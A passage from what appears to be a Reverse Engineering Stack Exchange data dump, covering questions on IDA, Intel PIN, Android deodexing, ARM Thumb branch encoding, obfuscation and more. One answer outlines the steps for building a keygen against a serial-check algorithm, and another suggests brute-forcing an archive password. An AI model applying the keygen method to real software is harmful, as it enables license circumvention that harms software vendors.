main()\n{\n    SerialChecker(myusername, myserial);\n    return 0;\n}\n
    \n", "Title": "Can a keygen be created for this protection algorithm?", "Tags": "|c|crackme|protection|", "Answer": "

    Short, slightly snarky answer: yes, there must be a way to make a keygen. If there wasn't, the creators of the software themselves wouldn't be able to create keys to sell.

    \n\n

    Longer answer: If the software vendor wants the encryption to be non-identifiable for people who have reversed the decryption part, they need to use some assymetric key algorithm, where the public key is embedded into the software, and the private key stays with the vendor. There are well-known algorithms, and corresponding libraries, to do that, like RSA. However, those are not used in your program, once because they are too big, and also because they contain lookup tables which make them easily identifiable.

    \n\n

    From a first glance at your algorithm, there's nothing much happening that's too difficult to reverse. Your RandomizeUserName just seems to shuffle the bits of the user name in the same way that the keygen would; your MagicCalculator functions seem to check if the serial number is well-formed, for some definition of well-formed. Then, MagicValidator calculates what looks like a 16-bit CRC on the 16 bytes username + 14 first bytes of the serial, then compares that to bytes 15/16 of the serial.

    \n\n

    So, a keygen would have to:\n- perform the same calculation on a username that your RandomizeUserName does\n- invent 14 bytes of serial\n- generate the CRC from the randomized user name + serial, and put it into bytes 15/16\n- append 16 more bytes to the serial in a way that MagicCalculator1 and 2 are satisfied (return 0), choose any bytes you want to achieve this\n- undo SerialMagicGenerator to get a serial that includes blanks and dashes just like SerialMagicGenerator does.

    \n\n

    So, with a bit of experimenting and trial-and-error, it should be very well possible to make a key generator for this.

    \n\n
    \n

    Side note:

    \n \n

    I pondered for a while if it is morally ok to help someone with what\n is clearly a precursor to software theft. Assuming, in the first\n place, that the OP hasn't tried to invent a protection algorithm\n himself, and opened this question to check how \"strong\" his protection\n is. Unfortunately, even now in 2016, there seem to be lots of\n programmers - and college spits out more of them every year - who\n think that \"shuffle a few bits around, pepper with some self-invented\n maths, and compile to machine language\" makes whatever they want to\n achieve hard to crack. Of course, we of RE.SE all know it doesn't.

    \n \n

    In this case, the OP obviously isn't too experienced in reversing, or\n he wouldn't have asked the question; still, he arrived at a point\n where he's obviously 1-2 hours away from a working keygen. In\n answering the question the way I did, i hope to make it obvious that\n all the bit-shuffling in the \"protection\" algorithm won't help much.\n If you want to prevent people from creating key generators for your software, use asymmetric encryption, and make sure your private key\n doesn't get leaked, and if only one future \"software protection\n coder\" reads this example and learns from it, then my answer will have\n served its purpose.

    \n
    \n" }, { "Id": "12385", "CreationDate": "2016-04-08T21:47:57.723", "Body": "

    I have an old computer game I want to reverse (Windows 95 \"Hover!\" to be exact), and I figured out that it uses the MFC.

    \n\n

    HexRays often decompiles pseudocode like this, which, for example, deals with an MFC class CWinThread:\n\"IDA

    \n\n

    As you can see, the variable this is the CWinThread instance, but the layout of it seems undefined, it accesses its members through offsets.

    \n\n

    I want / need to find out which members are at which offsets.

    \n\n

    Even while easy to guess in the marked example (+48 seems to be the peeked message), there's another member slightly more below at offset +60 about which I have no clue. I searched the MSDN documentation and looked into the header file to find a layout of the class, but couldn't find anything that helped me.

    \n\n

    Where would I retrieve such member / memory layout information about MFC classes?

    \n", "Title": "Reversing an MFC application: How to find class memory layouts?", "Tags": "|hexrays|mfc|", "Answer": "

    In order to easily import the information into IDA it's possible to:

    \n\n\n\n

    The types should appear in the \"Local Types\" tab now.

    \n" }, { "Id": "12389", "CreationDate": "2016-04-09T10:48:52.847", "Body": "

    The intel PIN manual (section Memory Reference Trace) says:

    \n\n
    \n

    We also use INS_InsertPredicatedCall instead of INS_InsertCall to\n avoid generating references to instructions that are predicated when\n the predicate is false see here.

    \n
    \n\n

    _

    \n\n
    \n

    When the instruction has a predicate and the predicate is false, the\n analysis function is not called see here.

    \n
    \n\n

    If I want to analyze all instructions that are actually executed, which of the two shall I pick?

    \n\n

    I assume INS_InsertPredicatedCall but I am not sure because I have seen INS_InsertCall more often. But why would somebody use it, i.e., why would somebody want to analyze instructions

    \n\n
    \n

    that are predicated when the predicate is false

    \n
    \n\n

    ? Maybe a minimal example of how the two functions lead to different results would be helpful here...

    \n", "Title": "Intel PIN: InsertPredicatedCall and INS_InsertCall", "Tags": "|assembly|x86|instrumentation|pintool|", "Answer": "

    You are correct, we should use INS_InsertPredicatedCall instead of INS_InsertCall in your case. It is quite intuitive to distinguish one from the other, consider the following code

    \n\n
    cond:\n  xor eax, eax\n  mov edx, 0x1\n  cmp word [esp + 0x4], 0x5\n  cmovz eax, edx\n  ret\n
    \n\n

    whose C code is something likes

    \n\n
    int cond(int input)\n{\n  return input == 0x5 ? 1 : 0;\n}\n
    \n\n

    If you use INS_InsertCall to trace executed instructions of cond(input), then for any value of input, you observe always the trace:

    \n\n
    xor eax, eax\nmov edx, 0x1\ncmp word [esp + 0x4], 0x5\ncmovz eax, edx\nret\n
    \n\n

    But if you use INS_InsertPredicateCall, then for input != 0x5, you will observe only:

    \n\n
    xor eax, eax\nmov edx, 0x1\ncmp word [esp + 0x4], 0x5\nret\n
    \n\n

    since cmovz is a predicated instruction, it is executed only if ZF = 1.

    \n" }, { "Id": "12393", "CreationDate": "2016-04-11T08:23:19.220", "Body": "

    I'm trying to reverse engineer certain Samsung system apps in the Galaxy S6 firmware system image, such as KnoxAttestationAgent.apk. I'm a noob when it comes to reverse engineering, and so far my attempts have been unsuccessful. Here's what I've done so far.

    \n\n\n\n

    Is there a way for these tools (or others) to work on system apps such as the Samsung Knox ones?

    \n\n

    Thanks!

    \n", "Title": "Reverse engineering Android vendor system apps", "Tags": "|android|apk|", "Answer": "
    \n

    Run apktool on the APK. I got a few XML files, including the\n AndroidManifest, but no source. Apparently this is because there is no\n classes.dex in the package.

    \n
    \n\n

    That's because these are odexed apps: when an app is odexed, the classes.dex is extracted from the apk.

    \n\n
    \n

    I tried an earlier version of baksmali 2.0.8 which doesn't have the limitation, but I get another error \"KnoxAttestationAgent.odex is not an apk, dex file or odex file.\"

    \n
    \n\n

    That's right, because the .odex file is not an apk. An odex file is basically an optimized version of the classes.dex

    \n\n

    So, in order to disassemble this app, you have to deodex it.

    \n\n

    Here is an HOW-TO guide (I haven't tested it personally): http://www.naldotech.com/how-to-deodex-applications-on-android-5-0-lollipop/

    \n\n

    Eventually, if you follow all the steps correctly, you will have an apk ready to be reversed using APKTool. \nGood luck.

    \n" }, { "Id": "12397", "CreationDate": "2016-04-11T12:10:40.047", "Body": "

    Stack layout is well documented in many ways. Especially for x86 systems as there were numerous tutorials on how to exploit stack overflow on old 32-bit systems many years ago.

    \n\n

    So far we can know that on a 32-bit system, the user stack starts from 0xc0000000 address (which is the limit between usermode and kernelmode).

    \n\n

    This address is not the same if we take an Elf32 running on a x86-64 linux system.

    \n\n

    I cannot find this address but I can figure out it is 0xffffe000 thanks to gdb:

    \n\n

    (gdb) x $esp\n0xffffd4bc: 0xf7e16a83\n(gdb) x/w 0xffffdffc\n0xffffdffc: 0x00000000\n(gdb) x/w 0xffffe000\n0xffffe000: Cannot access memory at address 0xffffe000\n

    \n\n

    We can actually see that the 0xffffe000 address points to an invalid location (or at least the process doesn't have proper permission to access this memory page).

    \n\n

    Yet I cannot especially find a relevant source that tells us that the gnu stack of a x86 program on a x64 linux starts from 0xffffe000. Am I doing things wrong?

    \n\n

    I can find sources telling us about linux-gate.so.1 but I do not think this is the point here.

    \n\n

    Any ideas, reversers?

    \n", "Title": "32-bit binary stack layout on a x64 Linux OS", "Tags": "|linux|x86-64|", "Answer": "

    The valid stack access range of a (32 or 64 bit) process can be viewed by looking into its memory map. We can observe the memory map of a process with id pid by cat /proc/pid/maps, an example of a 32-bit process on my 64-bit box:

    \n\n
    ...\n09b58000-09b79000 rw-p 00000000 00:00 0                    [heap]\n...\nf7785000-f7787000 rw-p 001c7000 00:23 592106               /usr/lib/libc-2.20.so\n...\nf77c2000-f77c4000 r--p 00000000 00:00 0                    [vvar]\nf77c4000-f77c5000 r-xp 00000000 00:00 0                    [vdso]\n...\nf77e8000-f77e9000 rw-p 00022000 00:23 592099               /usr/lib/ld-2.20.so\nfff9b000-fffbc000 rw-p 00000000 00:00 0                    [stack]\n
    \n\n

    Then the valid range for stack is [0xfff9b000, 0xfffbc000), memory access to an address higher or equal than 0xfffbc000 will trigger memory access violation exception. According to this article, this range is calculated when the kernel maps the binary into the memory, and by several functions, the interesting input for them is STACK_TOP which is defined by TASK_SIZE for 32-bit processes.

    \n" }, { "Id": "12398", "CreationDate": "2016-04-11T14:35:06.640", "Body": "

    I'm writing a parser for some xml scenario files.\nAmong other cleartext info there is a node 'Scenario_Compressed' which i like to analyse.\nI've uploaded the content here:\nhttp://www.lunex.net/temp/compstr.txt

    \n\n

    can anybody of you help me identifing the type of compression?

    \n\n

    thanks in advance\nLunex

    \n", "Title": "Need help with compressed string of unknown format", "Tags": "|windows|decompress|", "Answer": "

    As @w4rex said, it definitely looks like base64. If you try to decode it like a regular base64 string, you end up with :

    \n\n
    37 7a bc af 27 1c 00 03 d8 a0 33 34 30 78 00 00       7z..............\n
    \n\n

    You recognize the '7z' magic of a 7zip file, and it's indeed a 30Ko archive containing a single file of 363Ko named 'default'. The file is password-protected though, so you could try to either brute-force it or reverse the application generating this file to find the password.

    \n" }, { "Id": "12404", "CreationDate": "2016-04-11T19:39:11.400", "Body": "

    A typical PIN code snippet looks like this (taken from the official manual):

    \n\n
    // This function is called before every instruction is executed\n// and prints the IP\nVOID printip(VOID *ip) { fprintf(trace, \"%p\\n\", ip); }\n\n// Pin calls this function every time a new instruction is encountered\nVOID Instruction(INS ins, VOID *v)\n{\n    // Insert a call to printip before every instruction, and pass it the IP\n    INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)printip, IARG_INST_PTR, IARG_END);\n}\n
    \n\n

    I just can't figure out how to access the ins object from within printip(VOID *p). The other way round seems easy, i.e. getting the IP from from the ins object:

    \n\n

    INS_Address (INS ins)(see here)

    \n\n

    I tried passing a INS *ins pointer to printip(VOID *ip, INS *ins) ins via IARG_PTR, &ins but this ended in either casting errors or Segmentation faults.

    \n\n

    How can I access the ins object (type INS) from inside an analysis function?

    \n\n

    Side note: I got to this problem when trying to call INS_Disassemble (INS ins) for every executed instruction.

    \n", "Title": "Intel PIN: How to access the INS object from inside an analysis function?", "Tags": "|c++|pintool|", "Answer": "

    typedef class INDEX<6> INS; is defined in types_core.TLH (types not type). The following code works for me to disassamble at analysis time.

    \n\n
    void disasmIns(ADDRINT tid, ADDRINT insarg)\n{\n  INS ins;\n  ins.q_set(insarg);\n  std::cout << \"Disassembly: \" << INS_Disassemble(ins) << std::endl;\n}\n\nVOID Instruction(INS ins, VOID *v) {\n  INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)disasmIns, \n  IARG_FAST_ANALYSIS_CALL, IARG_ADDRINT, ins.q(), IARG_END);\n}\n
    \n" }, { "Id": "12419", "CreationDate": "2016-04-12T15:07:54.600", "Body": "

    In a recent assignment, I disassembled a binary written in C++.
    \nIn a few places throughout the program I came across shift operations by zero bits something like written below (The exact code/IDA isn't in front of me presently). The shift operations were all before a conditional branch.

    \n\n
    ...\ncall sub_123456\nadd esp, 8\nshr eax, 0\ncmp ...\njz ...\n
    \n\n

    I have a decent understanding of assembly but I can't see why you'd do a bit shift of zero. Isn't this essentially a NOP? I've been looking for info on this but haven't come up with any definitive information. My guess is it's added by the compiler for some reason, though I'd like to understand why. The assignment is already submitted; this is just a question that's been nagging at me. Any input would be appreciated!

    \n\n

    Thanks

    \n", "Title": "What's the purpose of arithmetic shifts by zero bits?", "Tags": "|disassembly|x86|c++|", "Answer": "

    Maybe an optimizing compiler wants the next instruction to start on a 4 byte boundary, e.g. if the next instruction is the destination of a jump in an inner loop. And maybe this one 3-byte instruction is faster than three consecutive one-byte NOPs.

    \n" }, { "Id": "12432", "CreationDate": "2016-04-13T12:18:19.650", "Body": "

    I'm looking for a way to get the addresses of all the functions in a DLL in the .text section. Is there a way to do it without using a disassembler and moving through the commands? How does IDA know to identify all the functions, even if their start is not the regular \"push ebp, mov ebp esp\"?

    \n\n

    Thanks!

    \n", "Title": "How to find all functions in DLL", "Tags": "|ida|disassembly|pe|functions|", "Answer": "

    You can get a list of all exported functions just by reading the PE headers. But, that won't give you any function names, or expected arguments lists (*), and it won't give you any functions that are internal to the DLL.

    \n\n

    In the general case, the only thing you can do is start with exported functions, disassemble from there, follow jmps, and mark everything that's called as a new function and process it in the same way that you process the exported stuff. This is basically what IDA does.

    \n\n

    As C0000022L mentioned, this is in no way trivial, especially with C++ methods that are never called directly, but only through vtable pointers, which is why even IDA gets this kind of stuff mostly right, but not completely right.

    \n\n

    Ida has another feature though, named FLIRT - it has a database that has signatures of standard library functions for many different compilers. Which is why it can, often, identify standard library function names. But as far as i know, this is a second pass thing; first IDA identifies functions by being called from somewhere, then tries to assign names to those functions using FLIRT. Of course, this helps with standard library functions ONLY, and building this kind of database certainly needs a lot of work as well.

    \n\n

    (*) If you're lucky, functions will be exported by name, and if you're very lucky, and the DLL was written in C++, the function name will include the signature. So there are cases when the export list is valuable. But this isn't the generic case, when a function might just be exported by ordinal.

    \n" }, { "Id": "12433", "CreationDate": "2016-04-13T12:42:58.773", "Body": "

    Suppose you have code like this (and you don't want to shell out the amount for the HexRays decompiler plugin):

    \n\n
    loc_4BEEEF:                             ; CODE XREF: DriverEntry+28j\n                push    50505050h       ; Tag\n                push    1234h           ; NumberOfBytes\n                push    ebx             ; PoolType\n                call    ds:ExAllocatePoolWithTag\n                cmp     eax, ebx\n                jz      short loc_4BEEFF\n
    \n\n

    Now for these cases I tend to write IDC scripts that collapse the push, push, push, call into a single hidden area.

    \n\n

    However, since the hidden areas in IDA seem to be based on the address and the first push is a \"named location\", the indication that this is a label gets lost when I \"name\" my hidden area with descriptive pseudo-code, like this:

    \n\n
    ; eax := ExAllocatePoolWithTag(ebx, 1234h, 'PPPP')\n                cmp     eax, ebx\n                jz      short loc_4BEEFF\n
    \n\n

    and if I can deduce the value of ebx, as would be possible here, I'd even convert that into:

    \n\n
    ; eax := ExAllocatePoolWithTag(NonpagedPool, 1234h, 'PPPP')\n                cmp     eax, ebx\n                jz      short loc_4BEEFF\n
    \n\n

    Is there any way, short of starting my hidden area after the first push, that would allow me to hide the instructions and replace them with more descriptive pseudo-code, while at the same time retaining the label/name that coincides with the passing of the (last) argument?!

    \n\n

    That is, my goal is to have it something like:

    \n\n
    loc_4BEEEF:                             ; CODE XREF: DriverEntry+28j\n; eax := ExAllocatePoolWithTag(NonpagedPool, 1234h, 'PPPP')\n                cmp     eax, ebx\n                jz      short loc_4BEEFF\n
    \n\n

    (the comment behind the loc_4BEEEF label is not important to me, though)

    \n\n

    Of course allocation is but one of the cases where this applies and where the first pushed (i.e. last) argument ends up at a named location.

    \n", "Title": "Collapsing a range into a hidden area, but excluding a possible label at the start of range", "Tags": "|ida|", "Answer": "

    Yes, you can use manual instructions.

    \n\n

    From https://www.hex-rays.com/products/ida/support/idadoc/651.shtml:

    \n\n
    \n

    SetManualInsn

    \n\n
    // Specify instruction represenation manually.\n//      ea   - linear address\n//      insn - a string represenation of the operand\n// IDA will not check the specified instruction, it will simply display\n// it instead of the orginal representation.\n\nvoid   SetManualInsn   (long ea, string insn);\n
    \n
    \n\n

    You can test it through the UI via Edit \u2192 Other \u2192 Manual instruction... or by pressing Alt+F2.

    \n\n

    You would set the manual instruction for address 0x4BEEEF to eax := ExAllocatePoolWithTag(NonpagedPool, 1234h, 'PPPP'). You could then put the remaining pushes and call into a hidden area, or alternatively, set manual instructions for those push and call instructions with (blank space) as the manual instruction value.

    \n" }, { "Id": "12434", "CreationDate": "2016-04-13T12:58:02.947", "Body": "

    Where is it possible to find a list of x86 instructions (and x64 instructions) with the (hex) opcode and the length/size in bytes of the instructions, such as:

    \n\n\n\n

    Unsure if all of them are correct.

    \n\n

    I've been using this wonderful list, to look through instructions and their opcodes, but it doesn't contain the full length/size in bytes of each opcode.

    \n\n

    What confuses me a bit more, is how it at the beginning mentions \"one-byte opcodes\" and \"two-byte opcodes\". While the JMP command would be 5 bytes (1 byte for JMP command, 4 bytes for jump distance).

    \n\n

    Edit

    \n\n

    I don't specifically need a list per se. Overall I'm just searching for a way to deduce the length of instructions.

    \n", "Title": "Determind length of instructions in bytes", "Tags": "|disassembly|x86|x86-64|machine-code|", "Answer": "

    Instead of using a list, it would probably be much more efficient for you to use a small and portable length disassembler, such as https://github.com/greenbender/lend.

    \n" }, { "Id": "12435", "CreationDate": "2016-04-13T15:34:17.857", "Body": "

    I've got a device that measures the heat in my apartment and sends the data to a master every day. It works on 868,95 MHz frequency. I want to be able to read this data. I've got some basic in Arduino, can it be a way?

    \n", "Title": "Interact with a 868,95 MHz device", "Tags": "|radio-interception|", "Answer": "

    Googling for \"868 MHZ Arduino\" yields several results of transmitters/receivers (transceivers) that can be attached to an arduino, including example programs. You could start with buying 1 of those, put it in receive mode, leave it on for 24h and check what it receives, and check if it really receives data only once in 24h, or maybe more often.

    \n\n

    Then, save the data, start experimenting, change the temperature in your apartment, and check how the bytes change, to find out which byte is which.

    \n\n

    Of course, if your apartment has such a sensor, it's probable the surrounding apartments have the same, and you'll receive their transmissions as well. Probably part of the data that gets transmitted is some kind of sender id; monitoring the time differences between receptions should give you, after a while, an idea which data comes from which sender; check what's common between them to find out what's the ID and what's the actual data.

    \n\n

    Also, googling for the model number of your transmitter, together with \"technical manual\" or similar, might give you some hints about the protocol that's used, which might save you some hassle in decoding everything yourself.

    \n\n

    Of course, all of this is vague, but as long as your question doesn't go into any more detail, answers can't either.

    \n" }, { "Id": "12438", "CreationDate": "2016-04-13T17:21:28.600", "Body": "

    For some reason i can't find any string matching the MessageBox text of a program when searching with \"search all reference strings\" , why is that?

    \n", "Title": "Find messagebox string with ollydbg", "Tags": "|disassembly|ollydbg|", "Answer": "

    There are many, many possible reasons:

    \n\n\n" }, { "Id": "12446", "CreationDate": "2016-04-14T22:26:48.877", "Body": "

    I know that, after double clicking on a opcode or register, all the occurance of the opcode/register in the graph view are highlighted.

    \n\n

    Is there any easy way to just search for a opcode or register in the current graph view?

    \n", "Title": "IDA:Search for all the occurrence of certain opcode/register in current graph view", "Tags": "|ida|", "Answer": "

    There's a nifty plugin that allows that - localxrefs.

    \n\n

    It looks up all the references of the currently highlighted identifier in the current function, and prints out a list of those.

    \n" }, { "Id": "12449", "CreationDate": "2016-04-15T09:30:37.740", "Body": "

    I remember IDA (Interactive Disassembler) has a really neat feature of function signatures where you don't have to reverse engineer code found inside standard libraries.
    \nIs there a similar feature for Java byte code, especially for obfuscated code?

    \n", "Title": "Java byte code equivalent of IDA function signatures", "Tags": "|java|byte-code|", "Answer": "

    If the control flow graph has not been obfuscated then you could use those to match methods. The biggest hurdle to this is building up the database of library signatures.

    \n\n

    Control flow graphs are the structure that the basic blocks make when viewed as a directed graph. [1] These represent the possible paths of execution in a method. They are relatively easy to parse out and recover from a compiled application. Most Android and Java obfuscation focuses on method names and not on control flow. Also, the Java / Dalvik bytecode can change between compilations if the methods are modified or moved. That's where comparing structure comes in handy, unless serious changes are made, the control flow is likely to remain the same.

    \n\n

    I did some work with control flow graph matching in Android applications. [2][3] The project's real strength turned out to be malware strain clustering. It would match methods that were of similar structure and you could see that certain applications shared methods with other applications, and how the strains evolved.

    \n\n

    If you are looking to create a Java function signature a combination between structural and byte base matching would be very powerful.

    \n\n
      \n
    1. https://en.wikipedia.org/wiki/Control_flow_graph
      2. \n
    2. https://github.com/douggard/CFGScanDroid
      3. \n
    3. http://www.irongeek.com/i.php?page=videos/derbycon4/t420-control-flow-graph-based-virus-scanning-douglas-goddard
      4. \n
    \n" }, { "Id": "12452", "CreationDate": "2016-04-15T20:35:10.853", "Body": "

    I'm trying analyze study example. Some article illustrates radar2 work, and there radar2 resolve string by XREF:

    \n\n
    0x00400ee4    be00244000   mov esi, str.Border_relations_with_Canada_have_never_been_better. ; \"Border relations with Canada have never been better\" @ 0x402400\n
    \n\n

    But my instance of radar2 prints:

    \n\n
    0x00400ee4    be00244000   mov esi, str.BorderrelationswithCanadahaveneverbeenbetter. ; CODE (CALL) XREF from 0x00401338 (unk)\n
    \n\n

    How I can see this string? Maybe I must specify some settings?\n(P.S. Miscusi my English, if it incorrect)

    \n\n

    UPD: using strings ./binaryFile | grep someTemplate, I find string... but radare2 behaviour has higher priority. Therefore this string exists in file.

    \n", "Title": "radare2 not resolve XREF", "Tags": "|radare2|", "Answer": "

    This seems like the version of radare that you're using is slightly different from the version that has been used in the example.

    \n\n

    Note that the 2nd argument to mov esi, is not the string itself, it's the address of the string in memory. radare detects what looks like a string, generates a label at that address, and uses the label as a synonym for the address in the mov esi instruction.

    \n\n

    As labels cannot contain blanks, radare has to handle them in some way. Seems the example version of radare replaces them with underscores, while your version just omits them. But, this is the name of the label, not the real string, and if you display the memory at that location, you should see the real string, including the space characters.

    \n" }, { "Id": "12460", "CreationDate": "2016-04-17T07:16:31.290", "Body": "

    Background

    \n

    As the title is self-explanatory, I would like to translate binaries of any architecture (e.g. x86, ARM, ARM Thumb) to an intermediate language in order to apply arch-independent static analysis.

    \n

    To be exact, my work is confined to the shared objects supplied in APK files for Android platform. My basic requirements, which I would expect the IL to meet, is as follows (Actually my goal is to extract information flows from a given .so file supplied in an APK file).

    \n\n

    For this purpose I've looked into some existing tools listed below, but unfortunately I'm not sure whether I can use them to reveal information flows or not.

    \n\n

    Question

    \n

    Is there any IL out there that I use to statically analyze a arch-dependent .so file (within an APK archive) in order to extract information flows? Basically I want it to provide basic requirements such as slicing and PDG.

    \n", "Title": "Lifting up binaries of any arch into an intermediate language for static analysis", "Tags": "|disassembly|android|static-analysis|reil|", "Answer": "

    I reviewed about 14 intermediate representations for the project I'm working on. It seems like any author (even for PhDs and master thesis) found all other existing IRs lacking and invented their own one.

    \n

    There are two notable exceptions:

    \n

    VEX is a prehistoric approach do IRs and provides a stable backend. That being said, it employs helper functions for stuff like flag calculations and thereby may omit semantical information.

    \n

    REIL is well designed for the purpose of static analysis, but is fragmented ever since big G bought zynam\u00edcs. Some community projects keep the concept alive, but introduce their own extensions to REIL.

    \n

    Since static analysis requires a SMT for most of its heavy lifting, we resorted to converting IRs to logic formulas and have been using them as a kind of intermediate representation.

    \n

    For example:

    \n
    pop eax\n
    \n

    equals to:

    \n
    \n

    esp = esp -4

    \n

    [esp - 4] = eax

    \n
    \n" }, { "Id": "12467", "CreationDate": "2016-04-17T21:59:23.767", "Body": "

    I want to extract opcodes (MOV, ADD, ...etc) from binary files 'exe files' but as I want the process to be completely automated, I was looking for a free disassembler which can be easily integrated preferably a python based tool..

    \n\n

    I've found this project : http://www.capstone-engine.org \nhowever, I am still trying to figure out how it can be used to extract the opcodes 'it is a bit complicated for me!' and I want some advice 'before spending more time' in terms of whether it is the best and more flexible option available there or not.

    \n\n

    any help appreciated.

    \n", "Title": "Disassembler for batch/automated processing", "Tags": "|disassemblers|", "Answer": "

    Try Pyew by Joxean Koret it's open source

    \n" }, { "Id": "12486", "CreationDate": "2016-04-19T23:46:16.420", "Body": "

    I did find this link: Offset calculation for branch instruction in ARM

    \n

    Which was quite helpful but also confusing for me. I tried few ways to get it working with my offsets but failed.

    \n

    What I wanted to do, was create a BL instruction from 0x52F4D6 to 0x5BF368.

    \n

    At 0x52F4D6 I wanted to write BL sub_5BF368 but how do I get the correct hex code (thumb) for it?

    \n", "Title": "Offset Calculation for a Branch Instruction Thumb", "Tags": "|ida|arm|", "Answer": "

    You can get this from the ARM manual; for example from the version linked at the link you found, https://ece.uwaterloo.ca/~ece222/ARM/ARM7-TDMI-manual-pt3.pdf.

    \n\n

    First, a quick calculation 5BF358-52F4D6 yields 8FE82, so you see you have more than 12 bits, and need to use the long branch format in 5.19, which splits your BL into two instructions. The section says \"The branch offset must take account of the prefetch operation, which causes the PC to be 1 word (4 bytes) ahead of the current instruction\", so the offset you need is from 4 bytes behind 52F4D6 - 52F4DA, which means the offset for the instructions - the value you want to add to PC is 8FE7E.

    \n\n

    The first part of the instruction shifts its partial offset left by 12 bits, and adds this to PC. The instruction format is 1111HXXXXXXXXXXX in binary, with H=0, so F000+XXXX in hex. What you want to add to PC in this step is 8F000, so the opcode for this instruction is F0 8F.

    \n\n

    The second part shifts its partial offset left by one bit (remember thumb instructions are aligned to 16 bit, so the last bit of an offset is always 0, so it doesn't have to be represented in the hex opcode), and it has H=1, so the opcode is F800+XXXX. What you want to add in this step is E7E. Shift that right by one bit to get 73f, and add to your opcode to get FF 3F.

    \n\n

    So, your BL instruction is F08F FF3F.

    \n\n

    To confirm this, create an assembly program, assemble it, and check the result:

    \n\n
    .thumb\n.arch armv7a\n.syntax unified\n.align 2\n.org    0x52F4D6\nbl  sub_5BF368\n.org    0x5BF368\nsub_5BF368:\n
    \n\n
    \n\n
    arm-linux-gnueabi-as -o y.o y.s\narm-linux-gnueabi-objdump -s y.o | grep -v \"00000000 00000000 00000000 00000000\"\n.....\n 52f4d0 00000000 00008ff0 3fff0000 00000000  ........?.......\n....\n
    \n\n

    Remember words are byte-swapped due to little-endianness, and you'll find your F08F FF3F opcode there.

    \n\n

    EDIT: I just fixed the address of the second .org since it seemed miss-typed just to avoid confusion. Now it looks consistent I think :)

    \n" }, { "Id": "12487", "CreationDate": "2016-04-20T02:26:01.247", "Body": "

    Hopefully I'm asking this at the right place. League of legends recently added the option to join a club. Clubs still use the XMPP protocol just like before for their public chat rooms: XMPP for public rooms.

    \n\n

    For public chat rooms, you connect through the \"lvl.pvp.net\" server.

    \n\n

    For the private clubs' chat rooms, the server is now \"pgc.pvp.net\".

    \n\n

    My problem is that I can't figure out how to find the room address to connect to a club. The clubs are private rooms. Only someone that is part of the club can view and chat in the club. Unlike for a public chat room, where the address is simply: pu~\"Channel name hashed and no capital letters\", a club address is a UUID and therefore, unlike public rooms, it's impossible to figure out the room address from the club name.

    \n\n

    Riot is fine with people connecting to the XMPP server from outside apps, but they haven't provided an easy way to find the UUID for a club room.

    \n\n

    How do I find what it is for my club?

    \n", "Title": "XMPP clubs in league of legends", "Tags": "|protocol|strings|networking|sniffing|", "Answer": "

    I also noticed what IyoIyo mentioned about the clubsData (I'm using the Pidgin XMPP client to connect to Riot's chat servers), and have been trying to determine what to do with that data. I've been trying to join my own club in which I know the actual name, but I'm stuck at the UUID step too.

    \n\n

    As a result, I haven't made much progress but I was wondering if any of you has figured this issue out in the meantime - finding the room name of a club in order to join, assuming its server is \"pgc.pvp.net\" as Amos mentioned.

    \n\n

    -

    \n\n

    Pardon my \"answer\" post as I also stumbled upon this issue recently and literally just made a SE account to reply to this thread lol.

    \n" }, { "Id": "12496", "CreationDate": "2016-04-21T15:34:24.883", "Body": "

    I am doing binary analysis on x86-64bit ELF binaries. All the binaries are compiled from C language. Basically, for a given function, I would like to figure out whether this function has a return value or not. That is, in its corresponding C code, whether a meaningful return exists.

    \n\n

    As I am essentially facing the assembly code, it is not feasible to figure out through some type information. However, as for normal x86-64bit assembly program, the calling convention only allows register rax to hold the return value, so I am thinking to check the usage of rax after a typical function call and decide whether the target function returns a value.

    \n\n

    Here is an example in AT&T syntax:

    \n\n
    foo:\n   ...\n   call bar\n   mov 0, %rax  <--- bar should not have a return value\n\nbar:\n   ...\n
    \n\n

    In the above example, as rax is immediately reset, it is unlikely for function bar to return a value.

    \n\n

    Another example:

    \n\n
    foo:\n   ...\n   call bar\n   jmp *%rax  <----- It is very likely that bar has a return value\n
    \n\n

    For the above case, I suppose without some aggressive inter-procedure optimization, we can say it for sure that bar returns a value (a pointer).

    \n\n

    I think this is yet another (ad-hoc) reverse engineering task, but I guess there may be a more \"formal\" way to solve it, any idea on that?

    \n", "Title": "Figure out whether a function has return value of not?", "Tags": "|binary-analysis|static-analysis|elf|functions|x86-64|", "Answer": "

    I see several problems with that approach:

    \n\n\n\n

    In the generic case, i think there's no foolproof way. For example, in a function ending in

    \n\n
    for (i=0; i<somevar; i++)\n    somearray[i]=0;\nreturn i;\n
    \n\n

    the compiler may just decide to use eax for the loop counter; which means there's no reason to do another mov after the loop. If the caller ignores the value of eax, you have no way to determine, from the assembly alone, if that return statement was present or not. (Of course, in this particular case, any self respecting compiler will generate a variant of rep stosw or sse instructions, but you get the point).

    \n\n

    So when the caller does read eax, you can be quite certain that the function has a return value; but a caller that ignores eax basically means nothing.

    \n\n

    And even if the caller reads eax, you could construct pathological cases of a function written in assembler, that preserves eax, and a caller that knows about this and makes use of eax even over the function call. But you'll probably not encounter this in software that isn't deliberately obfuscated

    \n" }, { "Id": "12507", "CreationDate": "2016-04-22T15:09:24.477", "Body": "

    For my project, I am performing a kind of checksum operation on a portion of code to protect it and therefore do not want its template to be easily visible and therefore need obfuscation.

    \n\n

    I have searched a lot on the net and read papers describing obfuscation definitions, types, etc. But there seems to be no tutorial on obfuscating x86 assembly code. Can anybody suggest a simple algorithm/tool for the same?

    \n\n

    I have read about inserting dummy code, changing the order of the instructions and other techniques but they appear to be totally random i.e. there is no end to how much dummy code to insert, etc.

    \n\n

    Can somebody at least guide me to the correct approach?

    \n", "Title": "How to obfuscate x86 assembly code?", "Tags": "|assembly|x86|obfuscation|security|", "Answer": "

    If you don't want to obfuscate the code manually, here's the 'mature' approach:

    \n\n\n\n

    Where:

    \n\n\n\n

    Manipulating IR code is much easier, than manipulating the native code. Yet learning how llvm works and how to use its classes to make changes is not trivial.

    \n" }, { "Id": "12514", "CreationDate": "2016-04-24T08:35:30.640", "Body": "

    Since few days, Ive started to Reverse Engineer a little game. That game includes some data files, where the 3d files are stored. I want to write a little Software, where I can add own 3d models, to improve (cutomize) that game.

    \n\n

    Luckily the game is compiled in debug mode, so I can clearly see all method names, c++ classes, etc., so I clearly know what happens in particular places in the code. Since I am new on reverse engineering (but not new in development), Ive figured out a lot of the code base and reimplemented many things related to the \"Data management of the game\".

    \n\n

